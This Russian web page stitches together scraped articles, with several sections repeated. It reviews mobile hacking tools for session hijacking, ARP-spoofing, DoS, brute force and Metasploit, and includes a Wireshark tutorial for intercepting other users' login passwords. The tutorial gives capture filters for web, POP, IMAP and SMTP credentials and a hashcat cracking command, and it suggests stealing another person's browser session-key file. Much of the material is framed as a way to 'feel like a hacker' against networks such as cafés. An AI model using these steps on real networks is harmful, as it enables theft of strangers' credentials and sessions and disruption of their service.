Если спросить, какая хак-утилита для Android наиболее мощная, то у Anti, пожалуй, конкурентов нет. Это настоящий хакерский комбайн. Основная задача программы — сканирование сетевого периметра. Далее в бой вступают различные модули, с помощью которых реализован целый арсенал: это и прослушка трафика, и выполнение MITM-атак, и эксплуатация найденных уязвимостей. Правда, есть и свои минусы. Первое, что бросается в глаза, — эксплуатация уязвимостей производится лишь с центрального сервера программы, который находится в интернете, вследствие чего о целях, не имеющих внешний IP-адрес, можно забыть.

 

Туннелирование трафика

Total Commander

Хорошо известный файловый менеджер теперь и на смартфонах! Как и в настольной версии, тут предусмотрена система плагинов для подключения к различным сетевым директориям, а также канонический двухпанельный режим — особенно удобно на планшетах.

SSH Tunnel

Хорошо, но как обеспечить безопасность своих данных, которые передаются в открытой беспроводной сети? Помимо VPN, который Android поддерживает из коробки, можно поднять SSH-туннель. Для этого есть замечательная утилита SSH Tunnel, которая позволяет завернуть через удаленный SSH-сервер трафик выбранных приложений или всей системы в целом.

ProxyDroid

Часто бывает необходимо пустить трафик через прокси или сокс, и в этом случае выручит ProxyDroid. Все просто: выбираешь, трафик каких приложений нужно туннелировать, и указываешь прокси (поддерживаются HTTP/HTTPS/SOCKS4/SOCKS5). Если требуется авторизация, то ProxyDroid это также поддерживает. К слову, конфигурацию можно забиндить на определенную беспроводную сеть, сделав разные настройки для каждой из них.

 

Беспроводные сети

Wifi Analyzer

Встроенный менеджер беспроводных сетей не отличается информативностью. Если нужно быстро получить полную картину о находящихся рядом точках доступа, то утилита Wifi Analyzer — отличный выбор. Она не только покажет все находящиеся рядом точки доступа, но и отобразит канал, на котором они работают, их MAC-адрес и, что важнее всего, используемый тип шифрования (увидев заветные буквы «WEP», можно считать, что доступ в защищенную сеть обеспечен). Помимо этого утилита идеально подойдет, если нужно найти, где физически находится нужная точка доступа, благодаря наглядному индикатору уровня сигнала.

WiFiKill

Эта утилита, как заявляет ее разработчик, может быть полезна, когда беспроводная сеть под завязку забита клиентами, которые используют весь канал, а именно в этот момент нужен хороший коннект и стабильная связь. WiFiKill позволяет отключить клиентов от интернета как выборочно, так и по определенному критерию (к примеру, возможно постебаться над всеми яблочниками). Программа всего-навсего выполняет атаку ARP spoofing и перенаправляет всех клиентов на самих себя. Этот алгоритм до глупости просто реализован на базе iptables. Такая вот панель управления для беспроводных сетей фастфуда :).

 

Аудит веб-приложений

HTTP Query Builder

Манипулировать HTTP-запросами с компьютера — плевое дело, для этого есть огромное количество утилит и плагинов для браузеров. В случае со смартфоном все немного сложнее. Отправить кастомный HTTP-запрос с нужными тебе параметрами, например нужной cookie или измененным User-Agent, поможет HTTP Query Builder. Результат выполнения запроса будет отображен в стандартном браузере.

Router Brute Force ADS 2

Если сайт защищен паролем с помощью Basic Access Authentication, то проверить его надежность можно с помощью утилиты Router Brute Force ADS 2. Изначально утилита создавалась для брутфорса паролей на админки роутера, но понятно, что она может быть использована и против любого другого ресурса с аналогичной защитой. Утилита работает, но явно сыровата. К примеру, разработчиком не предусмотрен грубый перебор, а возможен только брутфорс по словарю.

AnDOSid

Наверняка ты слышал о такой нашумевшей программе вывода из строя веб-серверов, как Slowloris. Принцип ее действия: создать и удерживать максимальное количество подключений с удаленным веб-сервером, таким образом не давая подключиться к нему новым клиентам. Так вот, AnDOSid — аналог Slowloris прямо в Android-девайсе! Скажу по секрету, двухсот подключений достаточно, чтобы обеспечить нестабильную работу каждому четвертому веб-сайту под управлением веб-сервера Apache. И все это — с твоего телефона!

 

Разные полезности

Encode

При работе с многими веб-приложениями и анализе их логики достаточно часто встречаются данные, передаваемые в закодированным виде, а именно Base64. Encode поможет тебе раскодировать эти данные и посмотреть, что же именно в них хранится. Возможно, подставив кавычку, закодировав их обратно в Base64 и подставив в URL исследуемого сайта, ты получишь заветную ошибку выполнения запроса к базе данных.

HexEditor

Если нужен шестнадцатеричный редактор, то для Android он тоже есть. С помощью HexEditor ты сможешь редактировать любые файлы, в том числе и системные, если повысишь программе права до суперпользователя. Отличная замена стандартному редактору текстов, позволяющая с легкостью найти нужный фрагмент текста и изменить его.

 

Удаленный доступ

ConnectBot

Получив доступ к удаленному хосту, нужно иметь возможность им воспользоваться. А для этого нужны клиенты. Начнем с SSH, где стандартом де-факто уже является ConnectBot. Помимо удобного интерфейса, предоставляет возможность организации защищенных туннелей через SSH-подключения.

PocketCloud Remote RDP/VNC

Полезная программа, позволяющая подключаться к удаленному рабочему столу через сервисы RDP или VNC. Очень радует, что это два клиента в одном, нет необходимости использовать разные тулзы для RDP и VNC.

SNMP MIB Browser

Специально написанный для Android браузер MIB, с помощью которого можно управлять сетевыми устройствами по протоколу SNMP. Сможет пригодиться для развития вектора атаки на различные маршрутизаторы, ведь стандартные community string (проще говоря, пароль для доступа) для управления через SNMP еще никто не отменял.

 

iOS

Не менее популярна среди разработчиков security-утилит платформа iOS. Но если в случае с Android права root’а были нужны только для некоторых приложений, то на устройствах от Apple джейлбрейк обязателен почти всегда. К счастью, даже для последней прошивки iДевайсов (5.1.1) уже есть тулза для джейлбрейка. Вместе с полным доступом ты еще получаешь и альтернативный менеджер приложений Cydia, в котором уже собраны многие утилиты.

 

Работа с системой

MobileTerminal

Первое, с чего хочется начать, — это установка терминала. По понятным причинам в стандартной поставке мобильной ОС его нет, но он нам понадобится, чтобы запускать консольные утилиты, о которых мы далее будем говорить. Лучшей реализацией эмулятора терминала является MobileTerminal — он поддерживает сразу несколько терминалов, жесты для управления (например, для передачи Control-C) и вообще впечатляет своей продуманностью.

iSSH

Еще один, более сложный вариант получить доступ к консоли устройства — установить на нем OpenSSH (это делается через Cydia) и локально подключаться к нему через SSH-клиент. Если использовать правильный клиент вроде iSSH, в котором изумительно реализовано управление с сенсорного экрана, то этот способ даже более удобен, чем через MobileTerminal.

 

Перехват данных

Pirni & Pirni Pro

Теперь, когда доступ к консоли есть, можно попробовать утилиты. Начнем с Pirni, вошедшей в историю как полноценный сниффер для iOS. К сожалению, конструктивно ограниченный модуль Wi-Fi, встроенный в устройство, невозможно перевести в promiscious-режим, необходимый для нормального перехвата данных. Так что для перехвата данных используется классический ARP-спуфинг, с помощью которого весь трафик пропускается через само устройство. Стандартная версия утилиты запускается из консоли, где помимо параметров MITM-атаки указывается имя PCAP-файла, в который логируется весь трафик. У утилиты есть более продвинутая версия — Pirni Pro, которая может похвастаться графическим интерфейсом. Причем она умеет на лету парсить HTTP-трафик и даже автоматически вытаскивать оттуда интересные данные (к примеру, логины-пароли), используя для этого регулярные выражения, которые задаются в настройках.

Intercepter-NG (console edition)

Небезызвестный сниффер Intercepter-NG, о котором мы неоднократно писали, с недавнего времени имеет консольную версию. Как говорит автор, большая часть кода написана на чистом ANSI C, который ведет себя одинаково практически в любой среде, поэтому консольная версия с самого начала заработала как на десктопных Windows, Linux и BSD, так и на мобильных платформах, в том числе iOS и Android. В консольной версии уже реализован граббинг паролей, передаваемых по самым разным протоколам, перехват сообщений мессенджеров (ICQ/Jabber и многих других), а также воскрешение файлов из трафика (HTTP/FTP/IMAP/POP3/SMTP/SMB). При этом доступны функции сканирования сети и качественный ARP Poison. Для корректной работы необходимо предварительно установить через Cydia пакет libpcap (не забудь в настройках включить девелоперские пакеты). Вся инструкция по запуску сводится к установке правильных прав: chmod +x intercepter_ios. Далее, если запустить сниффер без параметров, появится понятный интерактивный интерфейс Itercepter, позволяющий запустить любые атаки.

Ettercap-NG

Трудно поверить, но этот сложнейший инструмент для реализации MITM-атак все-таки портировали под iOS. После колоссальной работы получилось сделать полноценный мобильный порт. Чтобы избавить себя от танцев с бубном вокруг зависимостей во время самостоятельной компиляции, лучше установить уже собранный пакет, используя Cydia, предварительно добавив в качестве источника данных theworm.altervista.org/cydia (репозиторий TWRepo). В комплекте идет и утилита etterlog, которая помогает извлечь из собранного дампа трафика различного рода полезную информацию (к примеру, аккаунты доступа к FTP).

 

Анализ беспроводных сетей

WiFi Analyzer

В старых версиях iOS умельцы запускали aircrack и могли ломать WEP-ключ, но мы проверили: на новых устройствах программа не работает. Поэтому для исследования Wi-Fi нам придется довольствоваться только Wi-Fi-сканерами. WiFi Analyzer анализирует и отображает информацию обо всех доступных 802.11 сетях вокруг, включая информацию о SSID, каналах, вендорах, MAC-адресах и типах шифрования. Утилита строит наглядные графики в реальном времени по присутствующим в эфире данным. С такой программой легко найти физическое местоположение точки, если ты вдруг его забыл, и, например, посмотреть WPS PIN, который может быть полезен для подключения.

 

Сетевые сканеры

Scany

 

Какой программой пользуется любой пентестер в любой точке планеты независимо от целей и задач? Сетевым сканером. И в случае с iOS это, скорее всего, будет мощнейший тулкит Scany. Благодаря набору встроенных утилит можно быстро получить подробную картину о сетевых устройствах и, к примеру, открытых портах. Помимо этого пакет включает в себя утилиты тестирования сети, такие как ping, traceroute, nslookup.

Fing

Впрочем, многие отдают предпочтение Fing’у. Сканер имеет достаточно простой и ограниченный функционал, но его вполне хватит для первого знакомства с сетью, скажем, кафетерия :). В результатах отображается информация о доступных сервисах на удаленных машинах, MAC-адреса и имена хостов, подключенных к сканируемой сети.

Nikto

Казалось бы, про Nikto все забыли, но почему? Ведь этот веб-сканер уязвимостей, написанный на скрипт-языке (а именно на Perl), ты легко сможешь установить через Cydia. А это значит, что ты без особого труда сможешь запустить его на своем джейлбрейкнутом устройстве из терминала. Nikto с радостью предоставит тебе дополнительную информацию по испытуемому веб-ресурсу. К тому же ты своими руками можешь добавить в его базу данных знаний собственные сигнатуры для поиска.

sqlmap

Этот мощный инструмент для автоматической эксплуатации SQL-уязвимостей написан на Python, а значит, установив интерпретатор, им без проблем можно пользоваться прямо с мобильного устройства.

 

Удаленное управление

SNMP Scan

Многие сетевые устройства (в том числе дорогие роутеры) управляются по протоколу SNMP. Эта утилита позволяет просканировать подсети на наличие доступных сервисов SNMP с заранее известными значением community string (проще говоря, стандартными паролями). Заметим, что поиск сервисов SNMP со стандартными community string (public/private) в попытке получить доступ к управлению устройствами — неотъемлемая часть любого теста на проникновение наряду с идентификацией самого периметра и выявлением сервисов.

iTap mobile RDP / iTap mobile VNC 

Две утилиты от одного производителя предназначены для подключения к удаленному рабочему столу по протоколам RDP и VNC. Подобных утилит в App Store много, но именно эти особенно удобны в использовании.

 

Восстановление паролей

Hydra

Легендарная программа, помогающая «вспомнить» пароль миллионам хакеров по всему миру была портирована под iOS. Теперь прямо с iPhone’а возможен перебор паролей к таким сервисам, как HTTP, FTP, TELNET, SSH, SMB, VNC, SMTP, POP3 и многим другим. Правда, для более эффективной атаки лучше запастись хорошими словарями для брутфорса.

Pass Mule

Всем не понаслышке известна такая уязвимость, как использование стандартных паролей. Pass Mule представляет собой своего рода справочник, в котором собраны всевозможные стандартные логины и пароли для сетевых устройств. Они удобно разложены по названиям вендоров, продуктам и моделям, так что найти нужный не составит труда. Программа скорее предназначена для экономии времени на поиске мануала к роутеру, стандартный логин и пароль для которого необходимо узнать.

 

Эксплуатация уязвимостей

Metasploit

Сложно представить себе более хакерскую утилиту, нежели Metasploit, — и именно она завершает наш сегодняшний обзор. Metasploit — это пакет разнообразных инструментов, основная задача которого заключается в эксплуатации уязвимостей в программном обеспечении. Представь: около 1000 надежных, проверенных и необходимых в повседневной жизни пентестера эксплойтов — прямо на смартфоне! С помощью такого инструмента реально можно обосноваться в любой сети. Metasploit позволяет не только эксплуатировать бреши в серверных приложениях — доступны также инструменты для атак на клиентские приложения (например, через модуль Browser Autopwn, когда в трафик клиентов вставляется боевая нагрузка). Тут надо сказать, что мобильной версии тулкита не существует, однако на Apple-устройство можно установить стандартный пакет, воспользовавшись подробной инструкцией.

 

xakep.ru

Перехват паролей пользователей с помощью Wireshark

Многие пользователи и не догадываются, что заполняя логин и пароль при регистрации или авторизации на закрытом Интернет-ресурсе и нажимая ENTER, эти данные легко могут перехватить. Очень часто они передаются по сети не в защищенном виде. Поэтому если сайт, на котором вы пытаетесь авторизоваться, использует HTTP протокол, то очень просто выполнить захват этого трафика, проанализировать его с помощью Wireshark и далее с помощью специальных фильтров и программ найти и расшифровать пароль.

Лучшее место для перехвата паролей – ядро сети, где ходит трафик всех пользователей к закрытым ресурсам (например, почта) или перед маршрутизатором для выхода в Интернет, при регистрациях на внешних ресурсах. Настраиваем зеркало и мы готовы почувствовать себя хакером.

Шаг 1. Устанавливаем и запускаем Wireshark для захвата трафика

Иногда для этого достаточно выбрать только интерфейс, через который мы планируем захват трафика, и нажать кнопку Start. В нашем случае делаем захват по беспроводной сети.

Захват трафика начался.

Шаг 2. Фильтрация захваченного POST трафика

Открываем браузер и пытаемся авторизоваться на каком-либо ресурсе с помощью логина и пароля. По завершению процесса авторизации и открытия сайта мы останавливаем захват трафика в Wireshark. Далее открываем анализатор протоколов и видим большое количество пакетов. Именно на этом этапе большинство ИТ-специалистов сдаются, так как не знают, что делать дальше. Но мы знаем и нас интересуют конкретные пакеты, которые содержат POST данные, которые формируются на нашей локальной машине при заполнении формы на экране и отправляются на удаленные сервер при нажатии кнопки «Вход» или «Авторизация» в браузере.

Вводим в окне специальный фильтр для отображения захваченных пакетов: http.request.method == “POST”

И видим вместо тысячи пакетов, всего один с искомыми нами данными.

Шаг 3. Находим логин и пароль пользователя

Быстрый клик правой кнопки мыши и выбираем из меню пункт Follow TCP Steam

После этого в новом окне появится текст, который в коде восстанавливает содержимое страницы. Найдем поля «password» и «user», которые соответствуют паролю и имени пользователя. В  некоторых случаях оба поля будут легко читаемы и даже не зашифрованы, но если мы пытаемся захватить трафик при обращении к очень известным ресурсам типа: Mail.ru, Facebook, Вконтакте и т.д., то пароль будет закодирован:

HTTP/1.1 302 Found

Date: Mon, 10 Nov 2014 23:52:21 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

Set-Cookie: non=non; expires=Thu, 07-Nov-2024 23:52:21 GMT; path=/

Set-Cookie: password=e4b7c855be6e3d4307b8d6ba4cd4ab91; expires=Thu, 07-Nov-2024 23:52:21 GMT; path=/

Set-Cookie: scifuser=networkguru; expires=Thu, 07-Nov-2024 23:52:21 GMT; path=/

Location: loggedin.php

Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

Таким образом, в нашем случае:

Имя пользователя: networkguru

Пароль: e4b7c855be6e3d4307b8d6ba4cd4ab91

Шаг 4. Определение типа кодирования для расшифровки пароля

Заходим, например, на сайт http://www.onlinehashcrack.com/hash-identification.php#res и вводим наш пароль в окно для идентификации. Мне выдан был список протоколов кодирования в порядке приоритета:

Шаг 5. Расшифровка пароля пользователя

На данном этапе можем воспользоваться утилитой hashcat:

~# hashcat -m 0 -a 0 /root/wireshark-hash.lf /root/rockyou.txt

На выходе мы получили расшифрованным пароль: simplepassword

Таким образом, с помощью Wireshark мы можем не только решать проблемы в работе приложений и сервисов, но и также попробовать себя в роли хакера, осуществляя перехват паролей, которые пользователи вводят в веб-формах. Также можно узнавать и пароли к почтовым ящикам пользователей, используя незатейливые фильтры для отображения:

  • Протокол POP и фильтр выглядит следующим образом: pop.request.command == "USER" || pop.request.command == "PASS"
  • Протокол IMAP и фильтр будет: imap.request contains "login"
  • Протокол SMTP и потребуется ввод следующего фильтра: smtp.req.command == "AUTH"

и более серьезные утилиты для расшифровки протокола кодирования.

Шаг 6. Что делать, если трафик зашифрован и используется HTTPS?

Для ответа на этот вопрос есть несколько вариантов.

Вариант 1. Подключиться в разрыв соединения между пользователем и сервером и захватить трафик в момент установления соединения (SSL Handshake). В момент установки соединения можно перехватить сеансовый ключ.

Вариант 2. Вы можете расшифровать трафик HTTPS, используя файл журнала сеансовых ключей, записываемый Firefox или Chrome. Для этого браузер должен быть настроен на запись этих ключей шифрования в файл журнала (пример на базе FireFox), и вы должны получить этот файл журнала. По сути, необходимо похитить файл с ключом сессии с жесткого диска другого пользователя (что является незаконным). Ну а далее захватить трафик и применить полученный ключ для его расшифровки.

Уточнение. Мы говорим о веб-браузере человека, у которого пытаются украсть пароль. Если же мы подразумеваем расшифровку нашего собственного HTTPS трафика и хотим потренироваться, то эта стратегия будет работать. Если вы пытаетесь расшифровать HTTPS трафик других пользователей без доступа к их компьютерам, это не сработает – на то оно и шифрование, и личное пространство.

После получения ключей по варианту 1 или 2 необходимо прописать их в WireShark:

  1. Идем в меню Edit – Preferences – Protocols – SSL.
  2. Ставим флаг «Reassemble SSL records spanning multiple TCP segments».
  3. «RSA keys list»  и нажимаем Edit.
  4. Вводим данные во все поля и прописываем путь в файлу с ключом

WireShark может расшифровывать пакеты, которые зашифрованы с использованием алгоритма RSA. В случае если используются алгоритмы DHE/ECDHE, FS, ECC, сниффер нам не помощник.

Вариант 3. Получить доступ к web-серверу, которым пользуется пользователь, и получить ключ. Но это является еще более сложной задачей. В корпоративных сетях с целью отладки приложений или контент фильтрации этот вариант реализуется на легальной основе, но не с целью перехвата паролей пользователей.

БОНУС

ВИДЕО: Wireshark Packet Sniffing Usernames, Passwords, and Web Pages

См. также:

 

networkguru.ru

Хакерские утилиты для андроид и iphone.

«Смартфон с хакерскими утилитами? Нет такого», — еще недавно сказали бы мы тебе. Запустить привычные инструменты для реализации атак можно было разве что на каком-нибудь Maemo. Теперь же многие инструменты портировали под iOS и Android, а некоторые хак-тулзы были специально написаны для мобильного окружения. Может ли смартфон заменить ноутбук в тестах на проникновение? Мы решили проверить.

Android — популярная платформа не только для простых смертных, но и для правильных людей. Количество полезных утилит здесь просто зашкаливает. За это можно сказать спасибо UNIX-корням системы, значительно упростившим портирование многих инструментов на Android. Увы, некоторые из них Google не пускает в Play Store, так что придется ставить соответствующие APK вручную. Также для некоторых утилит нужен максимальный доступ к системе (например, файрволу iptables), поэтому следует заранее позаботиться о root-доступе.

Для каждого производителя здесь используется собственная технология, но найти необходимую инструкцию достаточно просто. Неплохой набор HOWTO собрал ресурс LifeHacker (bit.ly/eWgDlu). Однако если какой-то модели тут найти не удалось, на помощь всегда приходит форум XDA-Developers (www.xda-developers.com), на котором можно найти различную информацию фактически по любой модели Android-телефона. Так или иначе, часть из ниже описанных утилит заработают и без root-доступа. Итак представляем вам хакерские утилиты для андроид.

Менеджер пакетов:

BotBrew

Начнем обзор с необычного менеджера пакетов. Разработчики называют его «утилитами для суперпользователей», и это недалеко от правды. После установки BotBrew ты получаешь репозиторий, откуда можешь загрузить огромное количество скомпилированных под Android привычных инструментов. Среди них: интерпретаторы Python и Ruby для запуска многочисленных инструментов, которые на них написаны, сниффер tcpdump и сканер Nmap для анализа сети, Git и Subversion для работы с системами контроля версий и многое другое.

Сетевые сканеры:

PIPS

Незаметный смартфон, который в отличие от ноутбука легко помещается в карман и никогда не вызывает подозрений, может быть полезен для исследования сети. Выше мы уже сказали, как можно установить Nmap, но есть еще один вариант. PIPS — это специально адаптированный под Android, хотя и неофициальный порт сканера Nmap. А значит, ты сможешь быстро найти активные устройства в сети, определить их ОС с помощью опций по fingerprinting’у, провести сканирование портов — короче говоря, сделать все, на что способен Nmap.

Fing

lС использованием Nmap’а, несмотря на всю его мощь, есть две проблемы. Вопервых, параметры для сканирования передаются через ключи для запуска, которые надо не только знать, но еще и суметь ввести с неудобной мобильной клавиатуры. А во-вторых, результаты сканирования в консольном выводе не такие наглядные, как того хотелось бы. Этих недостатков лишен сканнер Fing, который очень быстро сканирует сеть, делает fingerprinting, после чего в понятной форме выводит список всех доступных устройств, разделяя их по типам (роутер, десктоп, iPhone и так далее). При этом по каждому хосту можно быстро посмотреть список открытых портов. Причем прямо отсюда можно подключиться, скажем, к FTP, используя установленный в системе FTP-клиент, — очень удобно.

NetAudit

Когда речь идет об анализе конкретного хоста, незаменимой может оказаться утилита NetAudit. Она работает на любом Android-устройстве (даже нерутованном) и позволяет не только быстро определить устройства в сети, но и исследовать их с помощью большой fingerprinting-базы для определения операционной системы, а также CMS-систем, используемых на веб-сервере. Сейчас в базе более 3000 цифровых отпечатков.

Net Tools

Если же нужно, напротив, работать на уровне ниже и тщательно исследовать работу сети, то здесь не обойтись без Net Tools. Это незаменимый в работе системного администратора набор утилит, позволяющий полностью продиагностировать работу сети, к которой подключено устройство. Пакет содержит более 15 различного рода программ, таких как ping, traceroute, arp, dns, netstat, route.

Режим монитора wi-fi в android:

Во всех WiFi-модулях есть специальный режим монитора (monitor mode). Этот режим можно использовать также для сниффинга, перехвата и взлома паролей. Однако, в Android-устройствах из-за аппаратных ограничений доступ к этому режиму закрыт. Дело в том, что в большинстве смартфонов Android используются одни и те же от Broadcom — это bcm4329 или bcm4330, которые работают не вполне стандартным образом.

Группа хакеров (Омри Илдис, Руби Фейнстейн и Ювал Офир) решила исправить этот недостаток. Они осуществили реверс-инжиниринг драйверов — и выяснили, что драйвер Broadcom просто обрезает заголовки 802.11 в процессе коммуникации, так что режим мониторинга пакетов не доступен. За три недели работы имудалось сделать модифицированные версии прошивок и для Nexus One (bcm4329), и для Galaxy S II (bcm4330). После перепрошивки стандартный режим монитора становится доступным.

В перспективе хакеры собираются усовершенствовать прошивку: добавить возможность инъекции пакетов, сделать более качественный Linux-драйвер и смонтировать APK для массового использования.

Проект bcmon на Google Code

На сайте опубликована инструкция по активации monitor mode на Nexus One (Cyanogen 7) и GS2 (Cyanogen 9). Готовые пакеты можно скачать здесь.

Для работы кода на других устройствах нужно самостоятельно скачать исходный код и скомпилировать пакет.

МАНИПУЛЯЦИИ С ТРАФИКОМ:

Shark for Root

Основанный на tcpdump сниффер честно логирует в pcap-файл все данные, которые далее можно изучить с помощью привычных утилит вроде Wireshark или Network Miner. Так как никакие возможности для MITM-атак в нем не реализованы, это скорее инструмент для анализа своего трафика. К примеру, это отличный способ изучить то, что передают программы, установленные на твой девайс из сомнительных репозиториев.

FaceNiff

Если говорить о боевых приложениях для Android, то одним из самых нашумевших является FaceNiff, реализующий перехват и внедрение в перехваченные веб-сессии. Скачав APK-пакет с программой, можно практически на любом Android-смартфоне запустить этот хек-инструмент и, подключившись к беспроводной сети, перехватывать аккаунты самых разных сервисов: Facebook, Twitter, «ВКонтакте» и так далее — всего более десяти. Угон сессии осуществляется средствами применения атаки ARP spoofing, но атака возможна только на незащищенных соединениях (вклиниваться в SSL-трафик FaceNiff не умеет). Чтобы сдержать поток скрипткидисов, автор ограничил максимальное число сессий тремя.

DroidSheep

lЕсли создатель FaceNiff хочет за использование денежку, то DroidSheep — это полностью бесплатный инструмент с тем же функционалом. Правда, на официальном сайте ты не найдешь дистрибутива (это связано с суровыми законами Германии по части security-утилит), но его без проблем можно найти в Сети. Основная задача утилиты — перехват пользовательских веб-сессий популярных социальных сетей, реализованный спомощью все того же ARP Spoofing’а. А вот с безопасными подключениями беда: как и FaceNiff, DroidSheep наотрез отказывается работать с HTTPS-протоколом.

Network Spoofer

Эта утилита также демонстрирует небезопасность открытых беспроводных сетей, но несколько в другой плоскости. Она не перехватывает пользовательские сессии, но позволяет с помощью спуфинг-атаки пропускать HTTP-трафик через себя, выполняя с ним заданные манипуляции. Начиная от обычных шалостей (заменить все картинки на сайте троллфейсами, перевернуть все изображения или, скажем, подменив выдачу Google) и заканчивая фишинговыми атаками, когда пользователю подсовываются фейковые страницы таких популярных сервисов, как facebook.com, linkedin.com, vkontakte.ru и многих других.

Anti (Android Network Toolkit by zImperium LTD)

Если спросить, какая хак-утилита для Android наиболее мощная, то у Anti, пожалуй, конкурентов нет. Это настоящий хакерский комбайн. Основная задача программы — сканирование сетевого  периметра. Далее в бой вступают различные модули, с помощью которых реализован целый арсенал: это и прослушка трафика, и выполнение MITM-атак, и эксплуатация найденных уязвимостей. Правда, есть и свои минусы. Первое, что бросается в глаза, — эксплуатация  уязвимостей производится лишь с центрального сервера программы, который находится в интернете, вследствие чего о целях, не имеющих внешнего IP-адреса, можно забыть.

ТУННЕЛИРОВАНИЕ ТРАФИКА:

Total CommanderХорошо известный файловый менеджер теперь и на смартфонах! Как и в настольной версии, тут предусмотрена система плагинов для подключения к различным сетевым директориям, а также канонический двухпанельный режим — особенно удобно на планшетах.

SSH Tunnel

Хорошо, но как обеспечить безопасность своих данных, которые передаются в открытой беспроводной сети? Помимо VPN, который Android поддерживает из коробки, можно поднять SSH-туннель. Для этого есть замечательная утилита SSH Tunnel, которая позволяет завернуть через удаленный SSH-сервер трафик выбранных приложений или всей системы в целом.

ProxyDroid

Часто бывает необходимо пустить трафик через прокси или сокс, и в этом случае выручит ProxyDroid. Все просто: выбираешь, трафик каких приложений нужно туннелировать, и указываешь прокси (поддерживаются HTTP/HTTPS/SOCKS4/SOCKS5). Если требуется авторизация, то ProxyDroid это также поддерживает. К слову, конфигурацию можно забиндить на определенную беспроводную сеть, сделав разные настройки для каждой из них.

БЕСПРОВОДНЫЕ СЕТИ:

Wifi AnalyzerОф сайт.

Встроенный менеджер беспроводных сетей не отличается информативностью. Если нужно быстро получить полную картину о находящихся рядом точках доступа, то утилита Wifi Analyzer — отличный выбор. Она не только покажет все находящиеся рядом точки доступа, но и отобразит канал, на котором они работают, их MAC-адрес и, что важнее всего, используемый тип шифрования (увидев заветные буквы «WEP», можно считать, что доступ в защищенную сеть обеспечен). Помимо этого, утилита идеально подойдет, если нужно найти, где физически находится нужная точка доступа, благодаря наглядному индикатору уровня сигнала.

WiFiKill

Эта утилита, как заявляет ее разработчик, может быть полезна, когда беспроводная сеть под завязку забита клиентами, а именно в этот момент нужен хороший коннект и стабильная связь. WiFiKill позволяет отключить клиентов от интернета как выборочно, так и по определенному критерию (к примеру, возможно постебаться над всеми яблочниками). Программа всего-навсего выполняет атаку ARP spoofing и перенаправляет всех клиентов на самих себя. Этот алгоритм до глупости просто реализован на базе iptables. Такая вот панель управления для беспроводных сетей фастфуда.

АУДИТ ВЕБ-ПРИЛОЖЕНИЙ:

HTTP Query Builder

Манипулировать HTTP-запросами с компьютера — плевое дело, для этого есть огромное количество утилит и плагинов для браузеров. В случае со смартфоном все немного сложнее. Отправить кастомный HTTP-запрос с нужными тебе параметрами, например нужной cookie или измененным User-Agent, поможет HTTP Query Builder. Результат выполнения запроса будет отображен в стандартном браузере.

Router Brute Force ADS 2

Если сайт защищен паролем с помощью Basic Access Authentication, то проверить его надежность можно с помощью утилиты Router Brute Force ADS 2. Изначально утилита создавалась для брутфорса паролей на админки роутера, но понятно, что она может быть использована и против любого другого ресурса с аналогичной защитой. Утилита работает, но явно сыровата. К примеру, разработчиком не предусмотрен грубый перебор, а возможен только брутфорс по словарю.

AnDOSid

Наверняка ты слышал о такой программе вывода из строя веб-серверов, как Slowloris. Принцип ее действия — создать и удерживать максимальное количество подключений с удаленным  веб-сервером, таким образом не давая подключиться к нему новым клиентам. Так вот, AnDOSid — аналог Slowloris прямо в Android-девайсе! Грустно, но двухсот подключений зачастую достаточно, чтобы обеспечить нестабильную работу каждому четвертому веб-сайту на Apache.

РАЗНЫЕ ПОЛЕЗНОСТИ:

Encode

При работе с многими веб-приложениями и анализе их логики достаточно часто встречаются данные, передаваемые в закодированном виде, а именно Base64. Encode поможет тебе раскодировать эти данные и посмотреть, что же именно в них хранится. Возможно, подставив кавычку, закодировав их обратно в Base64 и подставив в URL исследуемого сайта, ты получишь заветную ошибку выполнения запроса к базе данных.

HexEditor

Если нужен шестнадцатеричный редактор, то для Android он тоже есть. С помощью HexEditor ты сможешь редактировать любые файлы, в том числе и системные, если повысишь программе права до суперпользователя. Отличная замена стандартному редактору текстов, позволяющая с легкостью найти нужный фрагмент текста и изменить его.

УДАЛЕННЫЙ ДОСТУП:

ConnectBot

Получив доступ к удаленному хосту, нужно иметь возможность им воспользоваться. А для этого нужны клиенты. Начнем с SSH, где стандартом де-факто уже является ConnectBot. Помимо удобного интерфейса, предоставляет возможность организации защищенных туннелей через SSH подключения.

PocketCloud Remote RDP/VNC

Полезная программа, позволяющая подключаться к удаленному рабочему столу через сервисы RDP или VNC. Очень радует, что это два клиента в одном, нет необходимости использовать разные  тулзы для RDP и VNC.

SNMP MIB Browser

Специально написанный для Android браузер MIB, с помощью которого можно управлять сетевыми устройствами по протоколу SNMP. Сможет пригодиться для развития вектора атаки на различные маршрутизаторы, ведь стандартные community string (проще говоря, пароль для доступа) для управления через SNMP еще никто не отменял.

IPHONE

Не менее популярна среди разработчиков security-утилит платформа iOS. Но если в случае с  Android права root’а были нужны только для некоторых приложений, то на устройствах от Apple джейлбрейк обязателен почти всегда. К счастью, даже для последней прошивки iДевайсов (5.1.1) уже есть тулза для джейлбрейка. Вместе с полным доступом ты еще получаешь и альтернативный менеджер приложений Cydia, в котором уже собраны многие утилиты.

РАБОТА С СИСТЕМОЙ:

MobileTerminal

Первое, с чего хочется начать, — это установка терминала. По понятным причинам в стандартной поставке мобильной ОС его нет, но он нам понадобится, чтобы запускать консольные утилиты, о которых мы далее будем говорить. Лучшей реализацией эмулятора терминала является MobileTerminal — он поддерживает сразу несколько терминалов, жесты для управления (например, для передачи ) и вообще впечатляет своей продуманностью.

iSSH

Еще один, более сложный вариант получить доступ к консоли устройства — установить на нем OpenSSH (это делается через Cydia) и локально подключаться к нему через SSH-клиент. Если использовать правильный клиент вроде iSSH, в котором изумительно реализовано управление с сенсорного экрана,— то ты из одного места сможешь работать с локальной консолью и удаленными хостами.

ПЕРЕХВАТ ДАННЫХ:

Pirni & Pirni Pro

Теперь, когда доступ к консоли есть, можно попробовать утилиты. Начнем с Pirni, первого полноценнного сниффера для iOS. Конструктивно ограниченный модуль Wi-Fi, встроенный в iУстройства, невозможно перевести в promiscious-режим, необходимый для нормального перехвата данных. Так что для сниффинга используется классический ARP-спуфинг, с помощью которого весь трафик пропускается через само устройство. Стандартная версия утилиты запускается из консоли, однако есть более продвинутая версия — Pirni Pro, которая может похвастаться графическим интерфейсом. Причем она умеет на лету парсить HTTP-трафик и даже автоматически вытаскивать оттуда интересные данные (к примеру, логины-пароли), используя для этого регулярные выражения, которые задаются в настройках.

